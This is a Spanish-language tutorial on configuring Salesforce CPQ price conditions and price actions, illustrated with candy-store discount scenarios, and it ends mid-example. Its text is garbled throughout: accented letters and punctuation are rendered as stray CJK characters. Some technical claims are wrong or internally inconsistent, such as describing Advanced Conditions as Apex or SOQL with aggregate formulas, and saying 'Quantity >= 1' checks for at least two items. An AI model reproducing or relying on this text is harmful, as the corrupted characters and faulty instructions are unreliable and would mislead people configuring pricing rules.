Exploraremos ejemplos de condiciones de precios cubiertas de dulces como "Obtenga una bolsa de regalo con la compra de deliciosos dulces de chocolate", acciones de precios dulces como "Compre uno, obtenga un dulce gratis para duplicar la dulzura" que lo dejar谩n con ganas de m谩s. Descubriremos c贸mo se pueden personalizar las condiciones de precio y las acciones para crear promociones, descuentos y ofertas 煤nicos que hagan que los clientes regresen para disfrutar de m谩s aventuras llenas de dulces.

隆Despleguemos juntos la magia de los precios!

Precio Condici贸n

Exploremos el uso del objeto Condici贸n de precio con la ayuda de casos de uso.

1. Descuento por tipo de caramelo:

鈥 Condici贸n: establezca el campo en "Tipo de caramelo" y el operador en "Iguales". Especifique el valor como "Ositos de gominola".

鈥 Resultado: cuando un cliente agrega dulces de ositos de goma a su cotizaci贸n, la Condici贸n de precio evaluar谩 el tipo de dulce y aplicar谩 la acci贸n de fijaci贸n de precios definida, como un descuento o un precio ajustado.

2. Umbral de cantidad:

鈥 Condici贸n: Defina el Campo como 鈥淐antidad鈥 y el Operador como 鈥淢ayor que鈥 o 鈥淚gual鈥. Establezca el Valor como un umbral de cantidad espec铆fico, como 10.

鈥 Resultado: cuando un cliente agrega dulces a su cotizaci贸n y la cantidad supera el umbral especificado, la condici贸n de precio activar谩 una acci贸n de fijaci贸n de precios, como un descuento por volumen o un nivel de precios diferente.

3. Condici贸n de atributo personalizado:

鈥 Condici贸n: defina un campo personalizado en la secci贸n Campo, como 鈥淒ulces org谩nicos鈥. Establezca el Operador en "Equals" y el Valor en "True".

鈥 Resultado: cuando un cliente agrega dulces org谩nicos a su cotizaci贸n, la Condici贸n de precio verificar谩 el atributo personalizado y aplicar谩 una acci贸n de precio espec铆fica, como un precio premium o un descuento para productos org谩nicos.

4. Promoci贸n basada en fechas:

鈥 Condici贸n: Especifique el campo como 鈥淔echa de cotizaci贸n鈥 Establezca el Operador en 鈥淒entro del rango鈥 y proporcione el rango de fechas deseado para la promoci贸n.

鈥 Resultado: cuando la cotizaci贸n o el art铆culo de l铆nea se encuentran dentro del rango de fechas especificado, la Condici贸n de precio activar谩 una acci贸n de fijaci贸n de precios, como un descuento por tiempo limitado o una oferta especial.

El objeto Regla de precio y Condici贸n de precio tienen una relaci贸n maestro-detalle.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Descripci贸n de los campos en el objeto de condici贸n de precio

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

驴Cu谩l es el uso del campo de regla de precio en el objeto de condici贸n de precio?

Conecta la condici贸n de precio con la regla de precio principal. Significa a qu茅 regla de precio est谩 asociada la condici贸n de precio y determina bajo qu茅 regla se debe evaluar la condici贸n.

驴Cu谩l es el significado de Objeto y Campo en la Condici贸n de Precio?

Fondo con rayas amarillas y blancas Descripci贸n generada autom谩ticamente

Al crear una Condici贸n de precio, selecciona el objeto apropiado de las opciones disponibles en el campo "Objeto". Esto especifica el objeto relacionado al que desea hacer referencia en la condici贸n. Una vez que seleccione el objeto, puede elegir el campo espec铆fico de ese objeto en el campo "Campo de objeto".

Por ejemplo, supongamos que tiene una Condici贸n de precio que verifica si el campo "Sabor a caramelo" en el objeto L铆nea de cotizaci贸n relacionado es igual a "Lim贸n". En este caso, seleccionar铆a el objeto "L铆nea de cotizaci贸n" en el campo "Objeto" y luego elegir铆a el campo "Sabor a caramelo".

Escenario: configure una condici贸n de precio para verificar si el campo "Tipo" del caramelo asociado con la l铆nea de cotizaci贸n es igual a "Gummy Bear".

As铆 es como funciona:

1. En el registro de Condici贸n de precio, seleccionar铆a el objeto "L铆nea de cotizaci贸n" en el campo "Objeto". Esto indica que desea evaluar un campo del objeto L铆nea de cotizaci贸n.

2. A continuaci贸n, en el campo "Object Field", elegir铆a el campo "Candy.Type". Esto especifica que desea hacer referencia al campo "Tipo" del objeto Candy relacionado asociado con la l铆nea de cotizaci贸n.

3. Para completar la condici贸n, establecer铆a el operador como "Equals" y proporcionar铆a el valor "Gummy Bear". Esta condici贸n verificar谩 si el tipo de Caramelo para la l铆nea de cotizaci贸n asociada es "Gummy Bear".

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

驴Qu茅 es el campo variable probado en la condici贸n de precio?

El campo "Variables probadas" en el objeto Condici贸n de precio le permite almacenar y hacer referencia a valores intermedios durante la evaluaci贸n de la condici贸n. Entendamos su uso con un ejemplo de caramelo.

Escenario: Desea aplicar un descuento en un tipo espec铆fico de golosina, pero solo si la cantidad total de todos los art铆culos de golosina en la cotizaci贸n supera un l铆mite determinado.

1. Precio Condici贸n:

鈥 Objeto: L铆nea de cotizaci贸n

鈥 Campo de objeto: Producto.Tipo (para verificar el tipo de dulce)

鈥 Condici贸n: Tipo de Caramelo es igual a 鈥淏arra de Chocolate鈥

2. Variables probadas:

鈥 Cree una variable probada llamada "TotalCandyQty" para almacenar la cantidad total de todos los art铆culos de dulces en la cotizaci贸n.

3. Acci贸n del precio:

鈥 Objeto: Cita

鈥 Campo de objeto: Porcentaje de descuento

鈥 Acci贸n: Actualizar Campo

鈥 Valor: si TotalCandyQty es mayor que 10, establezca el Porcentaje de descuento en 10 %; de lo contrario, aj煤stelo al 5%.

Soluci贸n

En este ejemplo, la Condici贸n de precio verifica si el tipo de dulce es "Barra de chocolate" para cada l铆nea de cotizaci贸n. Si coincide, puede utilizar el campo "Variables probadas" para almacenar la cantidad total de todos los dulces en la cotizaci贸n.

La Acci贸n del precio luego actualiza el campo Porcentaje de descuento en la Cotizaci贸n en funci贸n del valor de la variable probada "TotalCandyQty". Si la cantidad total de art铆culos de dulces en la cotizaci贸n supera los 10, se aplica un descuento del 10%. En caso contrario, se aplica un descuento del 5%.

Al usar el campo "Variables probadas", puede calcular y almacenar la cantidad total de dulces en la cotizaci贸n y usarla en acciones posteriores para determinar el porcentaje de descuento apropiado. Esto le permite aplicar diferentes descuentos en funci贸n de la cantidad total de dulces en la cotizaci贸n.

驴Cu谩l es el uso del campo de f贸rmula probado en la condici贸n de precio?

Un objeto rectangular blanco con un borde negro Descripci贸n generada autom谩ticamente

El campo "F贸rmula probada" en una Condici贸n de precio le permite definir una expresi贸n de f贸rmula que se eval煤a para determinar si la condici贸n se cumple o no. Le permite crear condiciones din谩micas que consideran diferentes factores.

Escenario: desea aplicar un descuento en un producto solo si se cumplen las siguientes condiciones:

鈥 El producto es una 鈥淏arra de Chocolate鈥 o un 鈥淥sito de Gominola鈥.

鈥 La cantidad del producto es mayor o igual a 10.

鈥 El precio total del producto supera los $50.

Para configurar esta condici贸n usando una f贸rmula probada:

1. Cree una Condici贸n de Precio con los siguientes detalles:

鈥 Objeto: L铆nea de cotizaci贸n

鈥 F贸rmula probada: ingrese la expresi贸n de la f贸rmula que combina las condiciones:

`(Tipo de producto = "Barra de chocolate" || Tipo de producto = "Osito de goma") && Cantidad >= 10 && Precio total > 50`

En este ejemplo, la f贸rmula probada combina m煤ltiples condiciones usando operadores l贸gicos (|| para OR, && para AND). Comprueba si el tipo de producto es "Barra de chocolate" o "Gummy Bear", la cantidad es mayor o igual a 10 y el precio total es mayor a $50. Solo si todas estas condiciones son ciertas, se cumplir谩 la Condici贸n de Precio.

驴Cu谩l es la diferencia entre la 鈥淔贸rmula Probada鈥 en una Condici贸n de Precio y la 鈥淐ondici贸n Avanzada鈥 en una Regla de Precio?

La "F贸rmula Probada" en una Condici贸n de Precio y la "Condici贸n Avanzada" en una Regla de Precio le permiten definir condiciones complejas para determinar cu谩ndo se debe aplicar una acci贸n o ajuste espec铆fico. Sin embargo, hay algunas diferencias clave entre ellos:

F贸rmula probada en condici贸n de precio:

鈥 Se utiliza dentro de una Condici贸n de precio para evaluar si la condici贸n se cumple o no para elementos de l铆nea de cotizaci贸n individuales.

鈥 Se eval煤a a nivel de l铆nea de pedido, considerando los valores espec铆ficos de los campos en la l铆nea de cotizaci贸n.

鈥 La f贸rmula puede incluir referencias de campo, operadores l贸gicos, comparaciones y funciones para realizar c谩lculos y comparaciones en funci贸n de los valores de los campos en la partida de presupuesto.

鈥 El resultado de la f贸rmula determina si se cumple la condici贸n y, de ser as铆, las acciones de precio asociadas se aplicar谩n a la l铆nea de cotizaci贸n.

Condici贸n avanzada en la regla de precio:

鈥 Se usa dentro de una regla de precio para definir condiciones m谩s complejas que pueden involucrar m煤ltiples elementos de l铆nea de cotizaci贸n u objetos relacionados.

鈥 Se eval煤a a nivel de regla, teniendo en cuenta los valores en varias partidas de cotizaci贸n u objetos relacionados.

鈥 La condici贸n avanzada generalmente se escribe utilizando Apex o SOQL (lenguaje de consulta de objetos de Salesforce) y puede incluir l贸gica personalizada, consultas y c谩lculos.

鈥 El resultado de la condici贸n avanzada determina si se aplica toda la regla o se omite por completo para una cotizaci贸n en particular.

En resumen, la f贸rmula probada en una Condici贸n de precio se usa para evaluar las condiciones en el nivel de partida de cotizaci贸n individual , mientras que la condici贸n avanzada en una Regla de precio permite condiciones m谩s avanzadas que involucran m煤ltiples partidas de cotizaci贸n u objetos relacionados.

Comprendamos la diferencia entre la f贸rmula probada en una Condici贸n de precio y la condici贸n avanzada en una Regla de precio con la ayuda de un ejemplo:

Gui贸n:

Dispones de una Regla de Precio para aplicar un descuento en productos en base a las siguientes condiciones:

鈥 Condici贸n 1: Aplicar un 10% de descuento si la cantidad de productos es mayor o igual a 10.

鈥 Condici贸n 2: Aplicar un 5% de descuento si el producto pertenece a una categor铆a espec铆fica, 鈥淐ategor铆a Especial鈥.

F贸rmula probada en condici贸n de precio:

En este enfoque, utilizar谩 una f贸rmula probada dentro de cada condici贸n de precio para evaluar la condici贸n en el nivel de art铆culo de l铆nea de cotizaci贸n individual.

Precio Condici贸n 1:

鈥 Objeto: L铆nea de cotizaci贸n

鈥 F贸rmula probada: `Cantidad >= 10`

Precio Condici贸n 2:

鈥 Objeto: L铆nea de cotizaci贸n

鈥 F贸rmula probada: `Producto.Categor铆a = 鈥淐ategor铆a especial鈥漙

En este ejemplo, la f贸rmula probada se usa para verificar si cada elemento de l铆nea de cotizaci贸n cumple con la condici贸n espec铆fica. Si la f贸rmula se eval煤a como verdadera para un art铆culo de l铆nea de cotizaci贸n, la acci贸n de precio asociada se aplicar谩 a ese art铆culo.

Condici贸n avanzada en la regla de precios:

En este enfoque, utilizar谩 una condici贸n avanzada dentro de la regla de precio para evaluar las condiciones a nivel de regla, considerando varios elementos de l铆nea de cotizaci贸n.

Regla de precio:

鈥 Condici贸n avanzada: `SUM(QuoteLine.Quantity) >= 10 && MAX(QuoteLine.Product.Category) = 鈥淪pecial Category鈥漙

En este ejemplo, la condici贸n avanzada se usa para evaluar las condiciones en todos los elementos de l铆nea de cotizaci贸n en la cotizaci贸n. Si la condici贸n avanzada se eval煤a como verdadera, las acciones de precio asociadas dentro de la regla de precio se aplicar谩n a todos los elementos de l铆nea de cotizaci贸n elegibles.

驴Para qu茅 sirve el campo 鈥淥perador鈥 en una Condici贸n de Precio?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Este campo determina la comparaci贸n u operaci贸n l贸gica a realizar al evaluar la condici贸n.

Los operadores disponibles en el campo "Operador" pueden variar seg煤n el tipo de datos del campo que se compara. Aqu铆 hay algunos operadores comunes que puede encontrar:

鈥 Igual a (=): Comprueba si el valor del campo es igual al valor especificado.

鈥 No es igual a (!=): Comprueba si el valor del campo no es igual al valor especificado.

鈥 Mayor que (>): Comprueba si el valor del campo es mayor que el valor especificado.

鈥 Menor que (<): Comprueba si el valor del campo es menor que el valor especificado.

鈥 Mayor o igual que (>=): Comprueba si el valor del campo es mayor o igual que el valor especificado.

鈥 Menor o igual que (<=): Comprueba si el valor del campo es menor o igual que el valor especificado.

鈥 Contiene: comprueba si el valor del campo contiene una subcadena o valor espec铆fico.

Por ejemplo, si tiene una Condici贸n de precio para aplicar un descuento cuando la cantidad de un producto es mayor a 10, utilizar谩 el operador "Mayor que" (>) y especificar谩 el valor 10 en la condici贸n.

驴Qu茅 es el campo Uso del tipo de filtro en el objeto de condici贸n de precio?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

1. Variable: Le permite seleccionar una variable de resumen que contiene un valor espec铆fico. Las variables de resumen se utilizan para almacenar y hacer referencia a valores calculados basados en agregaciones o l贸gica de f贸rmula.

2. F贸rmula: Le permite especificar una f贸rmula o expresi贸n que determina la condici贸n para que se aplique la Regla de Precio. Puede utilizar funciones de f贸rmula, operadores y referencias de campo para crear condiciones complejas basadas en los valores de la partida de presupuesto u otros objetos relacionados.

3. Valor: especifica un valor espec铆fico con el que se comparar谩 el campo de la partida de cotizaci贸n. Por lo general, se usa junto con los campos "Campo" y "Operador" para definir la condici贸n.

Juntos, la "Variable", la "F贸rmula" y el "Valor" le permiten definir las condiciones que determinan cu谩ndo se debe aplicar la regla de precio a una partida de cotizaci贸n espec铆fica.

驴Qu茅 es el campo de valor de filtro en la condici贸n de precio?

Un rect谩ngulo azul y blanco Descripci贸n generada autom谩ticamente

El valor del filtro representa el valor esperado o el umbral con el que se compara el campo de la partida de presupuesto o grupo de partidas de presupuesto. El valor del filtro puede ser un valor num茅rico, un valor de texto, una fecha o cualquier otro tipo de datos adecuado seg煤n el campo que se utilice en la condici贸n.

Escenario: regla de precio que ofrece un descuento en los dulces de ositos de goma si la cantidad supera un cierto umbral. Desea solicitar un 10% de descuento cuando la cantidad es superior a 10.

Soluci贸n

En este escenario, la Condici贸n de Precio tendr谩 la siguiente configuraci贸n:

鈥 Tipo de filtro: Campo de l铆nea de cotizaci贸n

鈥 Campo: Cantidad

鈥 Operador: Mayor que

鈥 Valor del filtro: 10

Aqu铆, el valor del filtro se establece en 10, lo que indica que la condici贸n busca una cantidad superior a 10. Al evaluar las l铆neas de cotizaci贸n, si la cantidad de dulces de ositos de goma supera los 10, la condici贸n se considera verdadera y la regla de precio con se aplicar谩 la acci贸n asociada, como aplicar el 10% de descuento.

驴Cu谩l es el uso del campo variable de filtro en la condici贸n de precio?

El campo Filtrar variable en la condici贸n de precio le permite hacer referencia a una variable personalizada espec铆fica de una l铆nea de cotizaci贸n o un grupo de l铆neas de cotizaci贸n y utilizarla en la evaluaci贸n de la condici贸n.

Consideremos un ejemplo de caramelo para comprender el uso del campo de variable de filtro en la condici贸n de precio.

Gui贸n

Supongamos que tiene una variable personalizada llamada "MinOrderQuantity". El objetivo es aplicar un descuento cuando la cantidad supera el valor de MinOrderQuantity de 10.

Soluci贸n:

1. Defina una variable personalizada:

鈥 Cree una variable personalizada llamada "MinOrderQuantity" para representar la cantidad m铆nima de dulces necesaria para calificar para un descuento.

鈥 Establezca el valor de 鈥淢inOrderQuantity鈥 en 10.

2. Crear una condici贸n de precio:

鈥 Tipo de filtro: Campo de l铆nea de cotizaci贸n

鈥 Campo: Cantidad

鈥 Operador: Mayor que o Igual a

鈥 Campo de variable de filtro: MinOrderQuantity

Esta condici贸n de precio verifica si la cantidad de art铆culos de dulces en la l铆nea de cotizaci贸n es mayor o igual que el valor almacenado en la variable "MinOrderQuantity".

3. Cree una acci贸n de precio:

鈥 Especificar la acci贸n a realizar cuando se cumpla la Condici贸n de Precio. Por ejemplo, puedes aplicar un descuento del 10% al Precio Unitario de los art铆culos de golosinas.

4. Aplicar la regla del precio:

鈥 Conecte la Condici贸n de precio y la Acci贸n de precio a la Regla de precio.

鈥 Aseg煤rese de que la regla de precios est茅 activa y configurada para activarse correctamente en su configuraci贸n de precios.

Ahora, veamos c贸mo funciona este ejemplo:

鈥 Escenario 1: la cantidad es inferior a 10

鈥 Si la cantidad de art铆culos de dulces en la l铆nea de cotizaci贸n es inferior a 10, la condici贸n de precio se eval煤a como falsa.

鈥 La regla de precio no se activa y no se aplica ning煤n descuento.

鈥 Escenario 2: la cantidad es 10 o m谩s

鈥 Si la Cantidad de art铆culos de dulces en la l铆nea de cotizaci贸n es igual o superior a 10, la Condici贸n de precio se eval煤a como verdadera.

鈥 Se activa la regla de precio y se ejecuta la acci贸n especificada, como aplicar un descuento del 10 % al precio unitario, en esos art铆culos de dulces.

驴Cu谩l es la diferencia entre el campo Variable de filtro y Variable probada en Condici贸n de precio?

La principal diferencia entre una variable de filtro y una variable probada en Salesforce CPQ es el contexto en el que se utilizan.

Variable de filtro:

鈥 Se utiliza una variable de filtro en la Condici贸n de precio para definir una condici贸n din谩mica basada en un valor espec铆fico almacenado en una variable personalizada.

鈥 Le permite hacer referencia a una variable personalizada definida dentro del contexto de la partida de cotizaci贸n o grupo de partidas de cotizaci贸n.

鈥 La variable de filtro se utiliza como parte de la evaluaci贸n de la condici贸n para compararla con otros campos o valores.

鈥 Ayuda a determinar si se cumplen o no las condiciones especificadas en la Condici贸n de Precio.

Variable probada:

鈥 Una variable probada se usa en la condici贸n avanzada de una regla de precio para evaluar una f贸rmula o l贸gica basada en valores espec铆ficos almacenados en variables personalizadas.

鈥 Te permite crear condiciones o c谩lculos complejos basados en los valores de las variables personalizadas.

鈥 La variable probada se usa en combinaci贸n con otras variables, campos o f贸rmulas para determinar el resultado de la condici贸n avanzada.

Diferenciemos entre el campo Variable de filtro y Variable probada en el contexto de un ejemplo de caramelo:

Ejemplo: descuento de temporada en la tienda de golosinas

Escenario: Filtrar uso de variables

Si el cliente pide 25 dulces, la Condici贸n de precio con la variable de filtro "MinOrderQuantity" evaluar谩 si la cantidad es mayor o igual a 20. Si se cumple la condici贸n, se activar谩 la acci贸n especificada, como aplicar un descuento. .

Soluci贸n

1. Cree una variable personalizada llamada "MinOrderQuantity"

2. Establezca el valor de "MinOrderQuantity" en 20, lo que indica que los clientes deben pedir al menos 20 dulces para ser elegibles para el descuento.

Precio Condici贸n:

3. Cree una condici贸n de precio en la regla de precio.

4. Seleccione el campo "Cantidad" como campo de filtro.

5. Elija el operador "Mayor o igual que".

6. Ingrese el valor del filtro como la variable "MinOrderQuantity".

7. Especifique la acci贸n que desea realizar, como aplicar un porcentaje de descuento, cuando se cumpla la condici贸n.

Escenario Probado Uso de variables

Ejemplo: Si el cliente tiene un nivel de lealtad de "Oro" y la variable probada "Porcentaje de descuento" se establece en 15%, la Condici贸n avanzada evaluar谩 si el nivel de lealtad del cliente es "Oro". Si la condici贸n es verdadera, el porcentaje de descuento ser谩 ser ejecutado.

Soluci贸n

1. Cree una variable personalizada denominada "Porcentaje de descuento" en Salesforce CPQ.

2. Establezca el valor de "Porcentaje de descuento" en 15, lo que indica un 15% de descuento para clientes leales.

Condici贸n avanzada:

3. Cree una Condici贸n Avanzada en la Regla de Precio.

4. Defina la l贸gica utilizando variables probadas, como "Porcentaje de descuento", nivel de lealtad del cliente y otros criterios.

5. Especifique la acci贸n que desea realizar, como aplicar el porcentaje de descuento, cuando la Condici贸n avanzada se eval煤e como verdadera.

En resumen, las variables de filtro se utilizan en Condiciones de precio para verificar si se cumplen ciertos criterios o umbrales, en funci贸n de variables, campos o valores personalizados. Las variables probadas, por otro lado, se utilizan en Condiciones Avanzadas para realizar c谩lculos o l贸gica basada en variables personalizadas , atributos del cliente u otros factores para determinar el resultado de la Regla de Precio.

驴C贸mo usamos el campo F贸rmula de filtro en la condici贸n de precio?

El campo de f贸rmula de filtro en Condici贸n de precio le permite definir una condici贸n basada en f贸rmula para determinar si se debe aplicar la regla. Consideremos un ejemplo en el contexto de una tienda de golosinas:

Escenario: Compre uno, ll茅vese otro gratis Promoci贸n

Si el cliente est谩 comprando al menos dos art铆culos de dulces, aplique un descuento para que uno de los art铆culos sea gratis como parte de la promoci贸n "Compre uno, ll茅vese otro gratis".

Soluci贸n

Este es un ejemplo paso a paso del uso del campo de f贸rmula de filtro en la Condici贸n de precio para implementar una promoci贸n de "Compre uno, ll茅vese otro gratis" en el escenario de una tienda de golosinas:

1. Configure la Condici贸n de Precio:

鈥 Establezca el tipo de filtro en "F贸rmula" en el registro de Condici贸n de precio.

鈥 Introduzca una f贸rmula en el campo de f贸rmula de filtro para comprobar si se cumple la condici贸n. Cantidad >= 1.

鈥 Esta f贸rmula verifica si la cantidad del art铆culo de dulces en la l铆nea de cotizaci贸n es mayor o igual a 1, lo que indica que el cliente est谩 comprando al menos dos art铆culos.

2. Especifique la acci贸n deseada:

鈥 Determine la acci贸n que desea realizar cuando la f贸rmula del filtro se eval煤e como verdadera. En este caso, se trata de una promoci贸n de 鈥淐ompre uno, ll茅vese otro gratis鈥.

驴Cu谩l es el uso del campo de 铆ndice en la condici贸n de precio?

El campo "脥ndice" en el objeto Condici贸n de precio se puede utilizar para definir el orden en el que se eval煤an las condiciones para aplicar las reglas de precios. Consideremos un ejemplo para entender su uso:

Escenario: Descuento para barras de chocolate

1. Cree una regla de precio para aplicar un descuento a las barras de chocolate.

2. Agregue m煤ltiples condiciones de precio dentro de la regla de precio para definir diferentes condiciones bajo las cuales se debe aplicar el descuento. Por ejemplo:

鈥 Condici贸n de Precio 1: Comprobar si el tipo de caramelo es 鈥淏arra de Chocolate鈥.

鈥 Condici贸n de Precio 2: Comprobar si la cantidad de barras de chocolate es mayor o igual a 10.

鈥 Condici贸n de precio 3: Comprobar si el cliente tiene un nivel de membres铆a espec铆fico.

3. Establezca los valores del 铆ndice para cada condici贸n de precio:

鈥 Condici贸n de precio 1: establezca el valor del 铆ndice en 1.

鈥 Condici贸n de precio 2: establezca el valor del 铆ndice en 2.

鈥 Condici贸n de precio 3: establezca el valor del 铆ndice en 3.

Al asignar valores de 铆ndice a las condiciones de precio, est谩 definiendo el orden en el que deben evaluarse. En este ejemplo, se evaluar谩 primero la condici贸n de precio 1 con un valor de 铆ndice de 1, seguida de la condici贸n de precio 2 con un valor de 铆ndice de 2 y finalmente la condici贸n de precio 3 con un valor de 铆ndice de 3.

鈥斺斺斺

Acci贸n del precio

Exploremos el uso del objeto Price Action con varios ejemplos.

1. Aplicar un descuento:

鈥 Acci贸n de precio: establezca un objeto de acci贸n de precio con el objeto de destino como "L铆nea de cotizaci贸n"

鈥 Acci贸n: especifique un porcentaje de descuento, como un 20 % de descuento, en la Acci贸n de precio.

鈥 Resultado: Cuando un cliente agrega un dulce espec铆fico a su cotizaci贸n, Price Action autom谩ticamente aplicar谩 el descuento al Precio Unitario de ese dulce, resultando en un precio reducido.

2. Precios por volumen:

鈥 Acci贸n de precio: Cree un objeto de Acci贸n de precio con el Objeto de destino establecido como 鈥淟铆nea de cotizaci贸n鈥.

鈥 Acci贸n: defina una estructura de nivel de precio en la Acci贸n de precio basada en rangos de cantidad. Por ejemplo:

鈥 1-10 dulces: $1 por dulce

鈥 11-20 dulces: $0.90 por dulce

鈥 21+ dulces: $0.80 por dulce

鈥 Resultado: cuando un cliente agrega dulces a su cotizaci贸n, Price Action ajustar谩 el precio unitario en funci贸n de la cantidad, proporcionando descuentos de precios basados en el volumen.

3. Regalo con Compra:

鈥 Acci贸n de precio: establezca el objeto de destino como "Cotizaci贸n" para aplicar la acci贸n en el nivel de cotizaci贸n.

鈥 Acci贸n: Especifique una condici贸n de que si el cliente compra una cierta cantidad de un dulce espec铆fico, recibir谩 un regalo.

鈥 Resultado: cuando se cumple la condici贸n especificada, Price Action agregar谩 autom谩ticamente el obsequio a la cotizaci贸n, mejorando la experiencia del cliente.

4. Precios especiales para clientes VIP:

鈥 Acci贸n de precio: cree un objeto de acci贸n de precio con el objeto de destino como "Cotizaci贸n" o "L铆nea de cotizaci贸n" seg煤n sus requisitos.

鈥 Acci贸n: defina un campo personalizado que identifique a los clientes VIP. Establezca la Acci贸n de precio para aplicar un descuento espec铆fico para esos clientes.

鈥 Resultado: Cuando un cliente VIP agregue dulces a su cotizaci贸n, Price Action reconocer谩 su estado y aplicar谩 el descuento exclusivo autom谩ticamente.

Estos ejemplos demuestran c贸mo el objeto Price Action le permite definir acciones espec铆ficas, como aplicar descuentos, ajustar precios en funci贸n de la cantidad, ofrecer obsequios o proporcionar precios especiales para segmentos de clientes espec铆ficos. El objeto Price Action le permite automatizar estas acciones.

La regla de precio y el objeto de acci贸n de precio tienen una relaci贸n maestro-detalle.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Comprensi贸n de los campos en el objeto de acci贸n del precio

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

驴Cu谩l es el uso del campo de regla de precio en el objeto de acci贸n de precio?

Conecta la acci贸n del precio con la regla de precio principal. Indica a qu茅 regla de precio est谩 asociada la acci贸n de precio y determina bajo qu茅 regla debe evaluarse la condici贸n.

驴Cu谩l es la importancia del objeto objetivo en la acci贸n del precio?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

El objeto de destino en la acci贸n del precio determina d贸nde se aplicar谩n los cambios de precios especificados en la acci贸n del precio.

Suponga que tiene una acci贸n de precio que aplica un descuento del 10 % al precio unitario de los dulces de ositos de goma cuando la cantidad supera los 100. El campo Objeto de destino en la acci贸n de precio determina qu茅 registros recibir谩n este descuento.

En este caso, seleccionar铆a el objeto "L铆nea de cotizaci贸n" como el Objeto de destino en la Acci贸n del precio. Esto significa que el descuento se aplicar谩 a los registros de l铆nea de cotizaci贸n que representan los dulces de ositos de goma en la cotizaci贸n.

驴Importancia del campo Valor en Price Action?

El campo Valor en el objeto Acci贸n del precio se usa para especificar el valor espec铆fico o los datos que deben establecerse en el campo del objeto de destino. Define el resultado de la acci贸n del precio, indicando el resultado deseado o el cambio que debe ocurrir.

Escenario: cuando un cliente agrega un osito de gominola con sabor a fresa a su cotizaci贸n, Price Action actualizar谩 el campo Precio de ese dulce al valor especificado de $2.50.

Soluci贸n:

鈥 Acci贸n de precio: Cree un objeto de Acci贸n de precio con el Objeto de destino establecido como 鈥淟铆nea de cotizaci贸n鈥.

鈥 Campo: elija el campo 鈥淧recio鈥 en el objeto de destino que desea actualizar con un nuevo valor

鈥 Valor: Especifique el precio deseado para el sabor del caramelo en el campo Valor. Si el dulce es un osito de goma con sabor a fresa, establezca el campo Valor en $2,50.

驴Cu谩l es el uso del campo F贸rmula en el objeto Acci贸n de precio y el campo F贸rmula en el objeto Condici贸n de precio?

Comprendamos cu谩ndo usar el campo F贸rmula en cada objeto.

  • El campo F贸rmula en la Acci贸n del precio se usa para calcular y aplicar directamente el monto del descuento o el valor del campo seg煤n ciertos criterios.
  • El campo F贸rmula en la Condici贸n de precio establece condiciones o calcula valores que determinan cu谩ndo debe ejecutarse la Acci贸n de precio.

Suponga que desea ofrecer un 10 % de descuento en un dulce de sabor a 鈥渃hocolate鈥, pero el monto del descuento var铆a seg煤n la cantidad pedida del sabor de dulce de chocolate en la cotizaci贸n.

Uso de la f贸rmula en la acci贸n del precio:

En este escenario, puede agregar un campo F贸rmula directamente al objeto Acci贸n del precio. La f贸rmula calcular铆a el monto del descuento en funci贸n de la cantidad del sabor del caramelo "chocolate".

Uso de f贸rmula en condici贸n de precio:

En algunos casos, es posible que desee aplicar el descuento solo si la cantidad del sabor de caramelo espec铆fico supera cierto umbral.

鈥淪I (Cantidad > 10, 0,2, 0,1)鈥 que establece el porcentaje de descuento en un 20% si la cantidad es superior a 10 y en un 10% en caso contrario. La condici贸n de precio comprueba esta f贸rmula y eval煤a si se cumple la condici贸n. Si se cumple la condici贸n, activa la Price Action asociada con el porcentaje de descuento definido.

Razones para usar f贸rmulas en condiciones de precio:

1. L贸gica condicional: el campo F贸rmula en la Condici贸n de precio le permite definir la l贸gica condicional en funci贸n de criterios espec铆ficos. Puede configurar condiciones complejas que involucren m煤ltiples campos o c谩lculos para determinar si se debe activar la acci贸n del precio.

2. Filtrado avanzado: la condici贸n de precio puede evaluar varios factores, como cantidad, precio, rango de fechas o cualquier otro campo relevante antes de decidir aplicar la acci贸n de precio.

Razones para usar f贸rmulas en la acci贸n del precio:

1. Actualizaciones directas de campo: si el c谩lculo del descuento es sencillo y no requiere condiciones complejas o filtrado, puede calcular y actualizar directamente el valor del campo en la acci贸n del precio.

驴Cu谩l es la importancia del campo fuente en la acci贸n del precio?

El "Campo de origen" en Price Action especifica el campo desde el cual se obtendr谩 el valor y se utilizar谩 en Price Action.

Gui贸n:

Para un producto de golosina en particular, el campo "Precio original" en el objeto Producto es $10.

Cuando se activa la Acci贸n de precio, obtendr谩 el valor de $10 del campo "Precio original" en el objeto Producto.

La acci贸n del precio luego actualizar谩 el campo "Precio con descuento" en la l铆nea de cotizaci贸n con el valor obtenido. Digamos que tienes un porcentaje de descuento del 20%. En este caso, el c谩lculo ser铆a:

Precio con descuento = Precio original 鈥 (Precio original * Porcentaje de descuento)

= $10 鈥 ($10 * 0.20)

= $10 鈥 $2

= $8

Despu茅s de ejecutar la acci贸n de precio, el campo "Precio con descuento" en la l铆nea de cotizaci贸n se actualizar谩 con el valor calculado de $8.

Soluci贸n:

Los siguientes detalles se completar谩n en el objeto de acci贸n del precio:

鈥 Objeto de origen: Producto

鈥 Campo de origen: precio original

鈥 Objeto de destino: l铆nea de cotizaci贸n

鈥 Campo objetivo: Precio con descuento

驴Diferencia entre el campo de origen y el campo de b煤squeda de origen en la acci贸n del precio?

Objeto rectangular blanco con fondo blanco Descripci贸n generada autom谩ticamente

Campo de origen:

鈥 El campo de origen hace referencia a un campo espec铆fico en el objeto de origen del que se obtienen los datos y se utilizan en la acci贸n del precio.

Campo de b煤squeda de fuente:

鈥 El campo de b煤squeda de origen, por otro lado, se usa cuando desea obtener el valor de campo de un registro relacionado a trav茅s de una relaci贸n de b煤squeda. Le permite atravesar un campo de b煤squeda para acceder a campos en el objeto relacionado y usarlos en la acci贸n del precio.

Para entender la diferencia, consideremos un ejemplo con una tienda de golosinas:

Suponga que tiene un campo personalizado denominado "Precio original" en el objeto Producto y una relaci贸n de b煤squeda entre los objetos Producto y Fabricante. El objeto Fabricante tiene un campo llamado "Nombre del fabricante".

